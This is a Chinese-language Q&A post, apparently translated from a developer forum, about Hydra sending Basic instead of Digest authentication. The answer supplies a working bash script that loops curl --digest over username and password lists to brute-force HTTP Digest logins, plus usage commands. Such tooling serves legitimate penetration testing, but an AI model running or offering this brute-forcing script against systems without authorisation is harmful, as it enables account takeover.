问题描述
我在使用 Hydra 强制执行 HTTP 摘要表单时遇到了一些麻烦。我正在使用以下命令,但是当通过 burp suite hydra 代理时,我可以看到 hydra 使用的是基本身份验证而不是摘要。
如何让 hydra 使用正确的身份验证类型?
命令:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -vV http-get /digest
在代理中看到的请求:
GET /digest HTTP/1.1
Host: 127.0.0.1
Connection: close
Authorization: Basic YWRtaW46aWxvdmV5b3U=
User-Agent: Mozilla/4.0 (Hydra)
解决方法
我研究过这个案例,如果digest方法是在Nginx或apache服务器级别实现的,hydra可能会工作。但是如果认证是在Flask、Expressjs、Django等应用服务器上实现的,就完全不行了
您可以创建用于密码喷射的 bash 脚本
#!/bin/bash
cat $1 | while read USER; do
cat $2 | while read PASSWORD; do
if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
then
continue
else
echo [+] Found $USER:$PASSWORD
exit 0
fi
done
done
将此文件另存为 app.sh
$ chmod +x app.sh
$ ./app.sh /path/to/users.txt /path/to/passwords.txt http://example.com/path